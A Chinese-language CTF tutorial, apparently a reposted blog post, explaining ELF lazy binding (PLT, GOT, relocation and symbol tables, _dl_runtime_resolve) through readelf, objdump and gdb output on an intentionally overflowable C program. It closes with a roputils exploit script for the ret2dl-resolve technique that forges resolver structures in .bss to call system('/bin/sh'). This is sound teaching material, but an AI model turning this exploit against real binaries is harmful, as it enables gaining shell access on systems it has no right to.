从lazy binding(延迟绑定) and return to dl-resolve


先介绍lazy binding:

代码如下:
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}
编译链接: gcc -fno-stack-protector bof.c -o bof
看一下程序的区段信息:
yang@yang-virtual-machine:~/ctf$ readelf -S bof
共有 30 个节头,从偏移量 0x1178 开始:

节头:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
。。。。。。。。。
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804822c 00022c 000050 00   A  0   0  1
。。。。。。。。。。
  [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b0 0002b0 000020 08   A  5  12  4
  [11] .init             PROGBITS        080482d0 0002d0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
。。。。。。
  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a024 001024 000004 00  WA  0   0  1
。。。。。
  [28] .symtab           SYMTAB          00000000 001628 000440 10     29  45  4
  [29] .strtab           STRTAB          00000000 001a68 00025f 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
当在ELF文件中调用一个库函数时,因为库是动态加载的,所以库函数的地址也是不确定的,需要动态加载确定 。
比如调用read函数 ,一般程序汇编代码为: call write@plt
在区段中,重点是这三个区段:plt、rel.plt、got.plt,重点介绍下:
plt段包含一段代码,call的时候就是执行这段代码,rel.plt包含重定位时关于函数地址的结构体,got.plt包含函数的地址,如果是第一次调用函数时,got.plt中包含plt表的地址,以后调用函数时,该表中保存函数地址。

.rel.plt节是用于函数重定位,.rel.dyn节是用于变量重定位在.rel.plt中列出了链接的C库函数

符号信息:
yang@yang-virtual-machine:~/ctf$ readelf -s bof

Symbol table '.dynsym' contains 6 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.0 (2)
     5: 0804854c     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

Symbol table '.symtab' contains 68 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     。。。。。。。。。。
    46: 00000000     0 FUNC    GLOBAL DEFAULT  UND read@@GLIBC_2.0
      。。。。。。。。。。。
    56: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@@GLIBC_
    57: 00000000     0 FUNC    GLOBAL DEFAULT  UND write@@GLIBC_2.0
  。。。。。。。。。。。。
    63: 0804844d   100 FUNC    GLOBAL DEFAULT   13 main
    64: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _Jv_RegisterClasses
    65: 0804a024     0 OBJECT  GLOBAL HIDDEN    24 __TMC_END__
    66: 00000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable
    67: 080482d0     0 FUNC    GLOBAL DEFAULT   11 _init
dynamic段信息如下:
yang@yang-virtual-machine:~/ctf$ readelf -d bof

Dynamic section at offset 0xf14 contains 24 entries:
  标记        类型                         名称/值
 0x00000001 (NEEDED)                     共享库:[libc.so.6]
。。。。。。。。。。。
 0x00000005 (STRTAB)                     0x804822c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      80 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
。。。。。。。。。。。
 0x00000017 (JMPREL)                     0x80482b0
 0x00000011 (REL)                        0x80482a8
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
。。。。。。。。。。。
yang@yang-virtual-machine:~/ctf$ 
几个结构体:
.dynamic节区结构体如下:
typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;

.rel.plt的结构体如下:
typedef struct { Elf32_Addr r_offset; // 函数的真实地址 Elf32_Word r_info; // 符号表索引} Elf32_Rel;

r_info要满足这样的条件:
symtab+(r_info>>8)*0x10=sym_entry
r_info & 0xff = 0x7(对应于R_386_JUMP_SLOT)

.dynsym结构体定义:typedef struct{ Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */} Elf32_Sym;
对应着dynamic区段的symtab。

STRTAB中包含着对应的字符串:
gdb-peda$ x/10s 0x804822c
0x804822c:	""
0x804822d:	"libc.so.6"
0x8048237:	"_IO_stdin_used"
0x8048246:	"read"
0x804824b:	"__libc_start_main"
0x804825d:	"write"
0x8048263:	"__gmon_start__"
0x8048272:	"GLIBC_2.0"
0x804827c:	""
0x804827d:	""
下边具体分析一下plt段的代码:
yang@yang-virtual-machine:~/ctf$ objdump -d -j.plt bof

bof:     文件格式 elf32-i386


Disassembly of section .plt:

08048300 <read@plt-0x10>:
 8048300:	ff 35 04 a0 04 08    	pushl  0x804a004
 8048306:	ff 25 08 a0 04 08    	jmp    *0x804a008
 804830c:	00 00                	add    %al,(%eax)
	...

08048310 <read@plt>:
 8048310:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 8048316:	68 00 00 00 00       	push   $0x0
 804831b:	e9 e0 ff ff ff       	jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:	ff 25 10 a0 04 08    	jmp    *0x804a010
 8048326:	68 08 00 00 00       	push   $0x8
 804832b:	e9 d0 ff ff ff       	jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:	ff 25 14 a0 04 08    	jmp    *0x804a014
 8048336:	68 10 00 00 00       	push   $0x10
 804833b:	e9 c0 ff ff ff       	jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048346:	68 18 00 00 00       	push   $0x18
 804834b:	e9 b0 ff ff ff       	jmp    8048300 <_init+0x30>
可以看出plt段起始地址 对应dl_runtime_resolve函数

还是以函数read举例,当调用函数read时,执行call read@plt,跳到地址8048310处执行。
gdb-peda$ x/wx 0x804a00c
0x804a00c <[email protected]>:	0x08048316

gdb-peda$ x/20wx 0x0804a000 
0x804a000:	0x08049f14	0xb7fff938	0xb7ff24f0	0x08048316
0x804a010 <[email protected]>:	0x08048326	0xb7e2f990	0x08048346	0x00000000
0x804a020:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a030:	0x00000000	0x00000000	0x00000000	0x00000000
0x804a040:	0x00000000	0x00000000	0x00000000	0x00000000
可以看到刚开始[email protected]中保存的是read@plt+0x6的地址,所以调到地址0x8048316处继续执行。
先将got+4入栈,在调用*(got+0x8)处的函数

注意got.plt表的前三项有特殊意义: 第一项是.dynamic段的地址,第二个是link_map的地址,第三个是_dl_runtime_resolve函数的地址,第四项开始就是函数的GOT表了。

函数_dl_runtime_resolve的定义: _dl_runtime_resolve(link_map, rel_offset)
_dl_runtime_resolve则会完成具体的符号解析,填充结果,和调用的工作。

根据rel_offset,找到重定位条目:
Elf32_Rel * rel_entry = JMPREL + rel_offset;

JMPREL( 对应 rel.plt)可以通过以下命令获取:
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep JMPREL
0x00000017 (JMPREL) 0x80482b0

gdb-peda$ x/2wx 0x80482b0
0x80482b0: 0x0804a00c 0x00000107

根据rel_entry中的符号表条目编号,得到对应的符号信息:
Elf32_Sym *sym_entry = SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
我们知道在找到Elf32_Rel结构体后,会通过r_info >> 8得到Elf32_Sym结构体的位置
r_info
yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep SYM
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000b (SYMENT)                     16 (bytes)
 0x6ffffff0 (VERSYM)                     0x804827c
gdb-peda$ x/5wx 0x80481dc  (sym_entry)
0x80481dc:	0x0000001a	0x00000000	0x00000000	0x00000012
0x80481ec:	0x00000037
再找到符号信息中的符号名称:
char *sym_name = STRTAB + sym_entry->st_name;

yang@yang-virtual-machine:~/ctf$ readelf -d bof | grep STR
 0x00000005 (STRTAB)                     0x804822c
 0x0000000a (STRSZ)                      80 (bytes)
gdb-peda$ x/s 0x804822c+0x1a
0x8048246: "read"
根据函数名字,搜索动态库。找到地址后,填充至.got.plt对应位置。最后调整栈,调用这一解析得到的函数。

return to dl-resolve:
利用原理就是在用户可以控制的区域内,布置几个结构体,包括rel.plt,SYMTAB这几个相关的结构体,数据设置为自己的数据,最后调用到自己要执行的函数。

看一下用roputils模块写的exp:
from roputils import *
fpath = './pwn200'
offset = 112
rop = ROP(fpath)
addr_bss = rop.section('.bss') #获得bss节的地址
buf = rop.retfill(offset) #填充112个字符
buf += rop.call('read', 0, addr_bss, 500) #调用read函数,将数据读取到add_bss地址处
buf += rop.dl_resolve_call(addr_bss+20, addr_bss) #调用dl_resolve函数,执行addr_bss+20的函数,参数在addr_bss处。

target = Proc(rop.fpath)
target.write(p32(len(buf)) + buf)
print "str: %r" % target.read(len(buf))
buf = rop.string('/bin/sh')  #从此往下都是读取的数据,此处是函数参数,从此开始也是我们控制布置数据的区域
buf += rop.fill(20, buf)  填充20大小
buf += rop.dl_resolve_data(addr_bss+20, 'system') #通过伪造system获得其地址
buf += rop.fill(500, buf)
target.write(buf)
target.interact(0)

相关链接:

猜你喜欢

转载自blog.csdn.net/qq_35519254/article/details/78287674
今日推荐